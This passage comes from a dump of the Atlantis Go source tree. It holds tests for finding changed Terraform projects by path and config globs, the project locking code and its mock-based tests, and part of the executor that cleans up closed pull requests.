main.tf\",\n\t\t\t[]string{\"modules/main.tf\"},\n\t\t\t[]string{},\n\t\t\ttopLevelModules,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should not plan in the parent directory from modules if that dir does not have a main.tf\",\n\t\t\t[]string{\"modules/main.tf\", \"project1/main.tf\"},\n\t\t\t[]string{\"project1\"},\n\t\t\ttopLevelModules,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should ignore tfstate files and return an empty list\",\n\t\t\t[]string{\"terraform.tfstate\", \"terraform.tfstate.backup\", \"parent/terraform.tfstate\", \"parent/terraform.tfstate.backup\"},\n\t\t\tnil,\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should return '.' when changed file is at root\",\n\t\t\t[]string{\"a.tf\"},\n\t\t\t[]string{\".\"},\n\t\t\tnestedModules2,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should return directory when changed file is in a dir\",\n\t\t\t[]string{\"project1/a.tf\"},\n\t\t\t[]string{\"project1\"},\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should return parent dir when changed file is in an env/ dir\",\n\t\t\t[]string{\"env/staging.tfvars\"},\n\t\t\t[]string{\".\"},\n\t\t\tenvDir,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should de-duplicate when multiple files changed in the same dir\",\n\t\t\t[]string{\"env/staging.tfvars\", \"main.tf\", \"other.tf\"},\n\t\t\t[]string{\".\"},\n\t\t\t\"\",\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should ignore changes in a dir that was deleted\",\n\t\t\t[]string{\"wasdeleted/main.tf\"},\n\t\t\t[]string{},\n\t\t\t\"\",\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should not ignore terragrunt.hcl files\",\n\t\t\t[]string{\"terragrunt.hcl\"},\n\t\t\t[]string{\".\"},\n\t\t\tnestedModules2,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should find terragrunt.hcl file inside a nested directory\",\n\t\t\t[]string{\"project1/terragrunt.hcl\"},\n\t\t\t[]string{\"project1\"},\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should find packer files and ignore default tf files\",\n\t\t\t[]string{\"project1/image.pkr.hcl\", \"project2/main.tf\"},\n\t\t\t[]string{\"project1\"},\n\t\t\ttopLevelModules,\n\t\t\t\"**/*.pkr.hcl\",\n\t\t},\n\t\t{\n\t\t\t\"Should find yaml files in addition to defaults\",\n\t\t\t[]string{\"project1/ansible.yml\", \"project2/main.tf\"},\n\t\t\t[]string{\"project1\", \"project2\"},\n\t\t\ttopLevelModules,\n\t\t\t\"**/*.tf,**/*.yml\",\n\t\t},\n\t\t{\n\t\t\t\"Should find yaml files unless excluded\",\n\t\t\t[]string{\"project1/ansible.yml\", \"project2/config.yml\"},\n\t\t\t[]string{\"project1\"},\n\t\t\ttopLevelModules,\n\t\t\t\"**/*.yml,!project2/*.yml\",\n\t\t},\n\t\t{\n\t\t\t\"Should not ignore .terraform.lock.hcl files\",\n\t\t\t[]string{\"project1/.terraform.lock.hcl\"},\n\t\t\t[]string{\"project1\"},\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tprojects := m.DetermineProjects(noopLogger, c.files, modifiedRepo, c.repoDir, c.autoplanFileList, nil)\n\n\t\t\t// Extract the paths from the projects. We use a slice here instead of a\n\t\t\t// map so we can test whether there are duplicates returned.\n\t\t\tvar paths []string\n\t\t\tfor _, project := range projects {\n\t\t\t\tpaths = append(paths, project.Path)\n\t\t\t\t// Check that the project object has the repo set properly.\n\t\t\t\tEquals(t, modifiedRepo, project.RepoFullName)\n\t\t\t}\n\t\t\tAssert(t, len(c.expProjectPaths) == len(paths),\n\t\t\t\t\"exp %q but found %q\", c.expProjectPaths, paths)\n\n\t\t\tfor _, expPath := range c.expProjectPaths {\n\t\t\t\tif !slices.Contains(paths, expPath) {\n\t\t\t\t\tt.Fatalf(\"exp %q but was not in paths %v\", expPath, paths)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestDefaultProjectFinder_DetermineProjectsViaConfig(t *testing.T) {\n\t// Create dir structure:\n\t// main.tf\n\t// project1/\n\t//   main.tf\n\t//   terraform.tfvars.json\n\t// project2/\n\t//   main.tf\n\t//   terraform.tfvars\n\t// modules/\n\t//   module/\n\t//\t  main.tf\n\ttmpDir := DirStructure(t, map[string]any{\n\t\t\"main.tf\": nil,\n\t\t\"project1\": map[string]any{\n\t\t\t\"main.tf\":               nil,\n\t\t\t\"terraform.tfvars.json\": nil,\n\t\t},\n\t\t\"project2\": map[string]any{\n\t\t\t\"main.tf\":          nil,\n\t\t\t\"terraform.tfvars\": nil,\n\t\t},\n\t\t\"modules\": map[string]any{\n\t\t\t\"module\": map[string]any{\n\t\t\t\t\"main.tf\": nil,\n\t\t\t},\n\t\t},\n\t})\n\n\tcases := []struct {\n\t\tdescription  string\n\t\tconfig       valid.RepoCfg\n\t\tmodified     []string\n\t\texpProjPaths []string\n\t}{\n\t\t{\n\t\t\t// When autoplan is disabled, we still return the modified project.\n\t\t\t// If our caller is interested in autoplan enabled projects, they'll\n\t\t\t// need to filter the results.\n\t\t\tdescription: \"autoplan disabled\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \".\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t\tWhenModified: []string{\"**/*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"main.tf\"},\n\t\t\texpProjPaths: []string{\".\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"autoplan default\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \".\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"**/*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"main.tf\"},\n\t\t\texpProjPaths: []string{\".\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"parent dir modified\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"**/*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"main.tf\"},\n\t\t\texpProjPaths: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"parent dir modified matches\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project1\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"../**/*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"main.tf\"},\n\t\t\texpProjPaths: []string{\"project1\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir deleted\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project3\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"project3/main.tf\"},\n\t\t\texpProjPaths: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple projects\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \".\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project1\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"../modules/module/*.tf\", \"**/*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project2\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"**/*.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"main.tf\", \"modules/module/another.tf\", \"project2/nontf.txt\"},\n\t\t\texpProjPaths: []string{\".\", \"project1\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \".tfvars file modified\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project2\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"*.tf*\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"project2/terraform.tfvars\"},\n\t\t\texpProjPaths: []string{\"project2\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \".terraform.lock.hcl file modified\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project2\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"project2/.terraform.lock.hcl\"},\n\t\t\texpProjPaths: []string{\"project2\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"file excluded\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project1\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"*.tf\", \"!exclude-me.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"project1/exclude-me.tf\"},\n\t\t\texpProjPaths: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"some files excluded and others included\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project1\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"*.tf\", \"!exclude-me.tf\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"project1/exclude-me.tf\", \"project1/include-me.tf\"},\n\t\t\texpProjPaths: []string{\"project1\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple dirs excluded\",\n\t\t\tconfig: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: \"project1\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t\tWhenModified: []string{\"**/*.tf\", \"!subdir1/*\", \"!subdir2/*\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodified:     []string{\"project1/subdir1/main.tf\", \"project1/subdir2/main.tf\"},\n\t\t\texpProjPaths: nil,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tpf := events.DefaultProjectFinder{}\n\t\t\tprojects, err := pf.DetermineProjectsViaConfig(logging.NewNoopLogger(t), c.modified, c.config, tmpDir, nil)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, len(c.expProjPaths), len(projects))\n\t\t\tfor i, proj := range projects {\n\t\t\t\tEquals(t, c.expProjPaths[i], proj.Dir)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/project_locker.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_project_lock.go ProjectLocker\n\n// ProjectLocker locks this project against other plans being run until this\n// project is unlocked.\ntype ProjectLocker interface {\n\t// TryLock attempts to acquire the lock for this project. It returns true if the lock\n\t// was acquired. If it returns false, the lock was not acquired and the second\n\t// return value will be a string describing why the lock was not acquired.\n\t// The third return value is a function that can be called to unlock the\n\t// lock. It will only be set if the lock was acquired. Any errors will set\n\t// error.\n\tTryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*TryLockResponse, error)\n}\n\n// DefaultProjectLocker implements ProjectLocker.\ntype DefaultProjectLocker struct {\n\tLocker     locking.Locker\n\tNoOpLocker locking.Locker\n\tVCSClient  vcs.Client\n}\n\n// TryLockResponse is the result of trying to lock a project.\ntype TryLockResponse struct {\n\t// LockAcquired is true if the lock was acquired.\n\tLockAcquired bool\n\t// LockFailureReason is the reason why the lock was not acquired. It will\n\t// only be set if LockAcquired is false.\n\tLockFailureReason string\n\t// UnlockFn will unlock the lock created by the caller. This might be called\n\t// if there is an error later and the caller doesn't want to continue to\n\t// hold the lock.\n\tUnlockFn func() error\n\t// LockKey is the key for the lock if the lock was acquired.\n\tLockKey string\n}\n\n// TryLock implements ProjectLocker.TryLock.\nfunc (p *DefaultProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*TryLockResponse, error) {\n\tlocker := p.Locker\n\tif !repoLocking {\n\t\tlocker = p.NoOpLocker\n\t}\n\n\tlockAttempt, err := locker.TryLock(project, workspace, pull, user)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !lockAttempt.LockAcquired && lockAttempt.CurrLock.Pull.Num != pull.Num {\n\t\tlink, err := p.VCSClient.MarkdownPullLink(lockAttempt.CurrLock.Pull)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfailureMsg := fmt.Sprintf(\n\t\t\t\"This project is currently locked by an unapplied plan from pull %s. To continue, delete the lock from %s or apply that plan and merge the pull request.\\n\\nOnce the lock is released, comment `atlantis plan` here to re-plan.\",\n\t\t\tlink,\n\t\t\tlink)\n\t\treturn &TryLockResponse{\n\t\t\tLockAcquired:      false,\n\t\t\tLockFailureReason: failureMsg,\n\t\t}, nil\n\t}\n\tlog.Info(\"Acquired lock with id '%s'\", lockAttempt.LockKey)\n\treturn &TryLockResponse{\n\t\tLockAcquired: true,\n\t\tUnlockFn: func() error {\n\t\t\t_, err := p.Locker.Unlock(lockAttempt.LockKey)\n\t\t\treturn err\n\t\t},\n\t\tLockKey: lockAttempt.LockKey,\n\t}, nil\n}\n"
  },
  {
    "path": "server/events/project_locker_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nfunc TestDefaultProjectLocker_TryLockWhenLocked(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tvar githubClient *github.Client\n\tmockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil)\n\tmockLocker := mocks.NewMockLocker(ctrl)\n\tlocker := events.DefaultProjectLocker{\n\t\tLocker:    mockLocker,\n\t\tVCSClient: mockClient,\n\t}\n\texpProject := models.Project{}\n\texpWorkspace := \"default\"\n\texpPull := models.PullRequest{}\n\texpUser := models.User{}\n\n\tlockingPull := models.PullRequest{\n\t\tNum: 2,\n\t}\n\tmockLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return(\n\t\tlocking.TryLockResponse{\n\t\t\tLockAcquired: false,\n\t\t\tCurrLock: models.ProjectLock{\n\t\t\t\tPull: lockingPull,\n\t\t\t},\n\t\t\tLockKey: \"\",\n\t\t},\n\t\tnil,\n\t)\n\tres, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true)\n\tlink, _ := mockClient.MarkdownPullLink(lockingPull)\n\tOk(t, err)\n\tEquals(t, &events.TryLockResponse{\n\t\tLockAcquired:      false,\n\t\tLockFailureReason: fmt.Sprintf(\"This project is currently locked by an unapplied plan from pull %s. To continue, delete the lock from %s or apply that plan and merge the pull request.\\n\\nOnce the lock is released, comment `atlantis plan` here to re-plan.\", link, link),\n\t}, res)\n}\n\nfunc TestDefaultProjectLocker_TryLockWhenLockedSamePull(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tvar githubClient *github.Client\n\tmockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil)\n\tmockLocker := mocks.NewMockLocker(ctrl)\n\tlocker := events.DefaultProjectLocker{\n\t\tLocker:    mockLocker,\n\t\tVCSClient: mockClient,\n\t}\n\texpProject := models.Project{}\n\texpWorkspace := \"default\"\n\texpPull := models.PullRequest{Num: 2}\n\texpUser := models.User{}\n\n\tlockingPull := models.PullRequest{\n\t\tNum: 2,\n\t}\n\tlockKey := \"key\"\n\tmockLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return(\n\t\tlocking.TryLockResponse{\n\t\t\tLockAcquired: false,\n\t\t\tCurrLock: models.ProjectLock{\n\t\t\t\tPull: lockingPull,\n\t\t\t},\n\t\t\tLockKey: lockKey,\n\t\t},\n\t\tnil,\n\t)\n\t// Unlock will be called once when UnlockFn is invoked\n\tmockLocker.EXPECT().Unlock(lockKey).Return(nil, nil)\n\tres, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true)\n\tOk(t, err)\n\tEquals(t, true, res.LockAcquired)\n\n\t// UnlockFn should work.\n\terr = res.UnlockFn()\n\tOk(t, err)\n}\n\nfunc TestDefaultProjectLocker_TryLockUnlocked(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tvar githubClient *github.Client\n\tmockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil)\n\tmockLocker := mocks.NewMockLocker(ctrl)\n\tlocker := events.DefaultProjectLocker{\n\t\tLocker:    mockLocker,\n\t\tVCSClient: mockClient,\n\t}\n\texpProject := models.Project{}\n\texpWorkspace := \"default\"\n\texpPull := models.PullRequest{Num: 2}\n\texpUser := models.User{}\n\n\tlockingPull := models.PullRequest{\n\t\tNum: 2,\n\t}\n\tlockKey := \"key\"\n\tmockLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return(\n\t\tlocking.TryLockResponse{\n\t\t\tLockAcquired: true,\n\t\t\tCurrLock: models.ProjectLock{\n\t\t\t\tPull: lockingPull,\n\t\t\t},\n\t\t\tLockKey: lockKey,\n\t\t},\n\t\tnil,\n\t)\n\t// Unlock will be called once when UnlockFn is invoked\n\tmockLocker.EXPECT().Unlock(lockKey).Return(nil, nil)\n\tres, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true)\n\tOk(t, err)\n\tEquals(t, true, res.LockAcquired)\n\n\t// UnlockFn should work.\n\terr = res.UnlockFn()\n\tOk(t, err)\n}\n\nfunc TestDefaultProjectLocker_RepoLocking(t *testing.T) {\n\tvar githubClient *github.Client\n\tmockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil)\n\texpProject := models.Project{}\n\texpWorkspace := \"default\"\n\texpPull := models.PullRequest{Num: 2}\n\texpUser := models.User{}\n\tlockKey := \"key\"\n\n\ttests := []struct {\n\t\tname        string\n\t\trepoLocking bool\n\t\tsetup       func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker)\n\t}{\n\t\t{\n\t\t\t\"enable repo locking\",\n\t\t\ttrue,\n\t\t\tfunc(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) {\n\t\t\t\tlocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return(\n\t\t\t\t\tlocking.TryLockResponse{\n\t\t\t\t\t\tLockAcquired: true,\n\t\t\t\t\t\tCurrLock:     models.ProjectLock{},\n\t\t\t\t\t\tLockKey:      lockKey,\n\t\t\t\t\t},\n\t\t\t\t\tnil,\n\t\t\t\t)\n\t\t\t\t// noOpLocker has no EXPECT — gomock will fail if it's called\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"disable repo locking\",\n\t\t\tfalse,\n\t\t\tfunc(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) {\n\t\t\t\tnoOpLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return(\n\t\t\t\t\tlocking.TryLockResponse{\n\t\t\t\t\t\tLockAcquired: true,\n\t\t\t\t\t\tCurrLock:     models.ProjectLock{},\n\t\t\t\t\t\tLockKey:      lockKey,\n\t\t\t\t\t},\n\t\t\t\t\tnil,\n\t\t\t\t)\n\t\t\t\t// locker has no EXPECT — gomock will fail if it's called\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tmockLocker := mocks.NewMockLocker(ctrl)\n\t\t\tmockNoOpLocker := mocks.NewMockLocker(ctrl)\n\t\t\tlocker := events.DefaultProjectLocker{\n\t\t\t\tLocker:     mockLocker,\n\t\t\t\tNoOpLocker: mockNoOpLocker,\n\t\t\t\tVCSClient:  mockClient,\n\t\t\t}\n\t\t\ttt.setup(mockLocker, mockNoOpLocker)\n\t\t\tres, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, tt.repoLocking)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, true, res.LockAcquired)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/pull_closed_executor.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"slices\"\n\t\"sort\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n)\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_resource_cleaner.go ResourceCleaner\n\ntype ResourceCleaner interface {\n\tCleanUp(pullInfo jobs.PullInfo)\n}\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_pull_cleaner.go PullCleaner\n\n// PullCleaner cleans up pull requests after they're closed/merged.\ntype PullCleaner interface {\n\t// CleanUpPull deletes the workspaces used by the pull request on disk\n\t// and deletes any locks associated with this pull request for all workspaces.\n\tCleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error\n}\n\n// PullClosedExecutor executes the tasks required to clean up a closed pull\n// request.\ntype PullClosedExecutor struct {\n\tLocker                   locking.Locker\n\tVCSClient                vcs.Client\n\tWorkingDir               WorkingDir\n\tDatabase                 db.Database\n\tPullClosedTemplate       PullCleanupTemplate\n\tLogStreamResourceCleaner ResourceCleaner\n\tCancellationTracker      CancellationTracker\n}\n\ntype templatedProject struct {\n\tRepoRelDir string\n\tWorkspaces string\n}\n\nvar pullClosedTemplate = template.Must(template.New(\"\").Parse(\n\t\"Locks and plans deleted for the projects and workspaces modified in this pull request:\\n\" +\n\t\t\"{{ range . }}\\n\" +\n\t\t\"- dir: `{{ .RepoRelDir }}` {{ .Workspaces }}{{ end }}\"))\n\ntype PullCleanupTemplate interface {\n\tExecute(wr io.Writer, data any) error\n}\n\ntype PullClosedEventTemplate struct{}\n\nfunc (t *PullClosedEventTemplate) Execute(wr io.Writer, data any) error {\n\treturn pullClosedTemplate.Execute(wr, data)\n}\n\n// CleanUpPull cleans up after a closed pull request.\nfunc (p *PullClosedExecutor) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\tpullStatus, err := p.Database.GetPullStatus(pull)\n\tif err != nil {\n\t\t// Log and continue to clean up other resources.\n\t\tlogger.Err(\"retrieving pull status: %s\", err)\n\t}\n\n\tif pullStatus != nil {\n\t\tfor _, project := range pullStatus.Projects {\n\t\t\tjobContext := jobs.PullInfo{\n\t\t\t\tPullNum:      pull.Num,\n\t\t\t\tRepo:         pull.BaseRepo.Name,\n\t\t\t\tRepoFullName: pull.BaseRepo.FullName,\n\t\t\t\tProjectName:  project.ProjectName,\n\t\t\t\tPath:         project.RepoRelDir,\n\t\t\t\tWorkspace:    project.Workspace,\n\t\t\t}\n\t\t\tp.LogStreamResourceCleaner.CleanUp(jobContext)\n\t\t}\n\t}\n\n\tif err := p.WorkingDir.Delete(logger, repo, pull); err != nil {\n\t\treturn fmt.Errorf(\"cleaning workspace: %w\", err)\n\t}\n\n\t// Finally, delete locks. We do this last because when someone\n\t// unlocks a project, right now we don't actually delete the plan\n\t// so we might have plans laying around but no locks.\n\tlocks, err := p.Locker.UnlockByPull(repo.FullName, pull.Num)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cleaning up locks: %w\", err)\n\t}\n\n\t// Delete pull from DB.\n\tif err := p.Database.DeletePullStatus(pull); err != nil {\n\t\tlogger.Err(\"deleting pull from db: %s\", err)\n\t}\n\n\t// Clear any operations to avoid unbounded growth.\n\tif p.CancellationTracker != nil {\n\t\tp.CancellationTracker.Clear(pull)\n\t}\n\n\t// If there are no locks then there's no need to comment.\n\tif len(locks) == 0 {\n\t\treturn nil\n\t}\n\n\ttemplateData := p.buildTemplateData(locks)\n\tvar buf bytes.Buffer\n\tif err = pullClosedTemplate.Execute(&buf, templateData); err != nil {\n\t\treturn fmt.Errorf(\"rendering template for comment: %w\", err)\n\t}\n\treturn p.VCSClient.CreateComment(logger, repo, pull.Num, buf.String(), \"\")\n}\n\n// buildTemplateData formats the lock data into a slice that can easily be\n// templated for the VCS comment. We organize all the workspaces by their\n// respective project paths so the comment can look 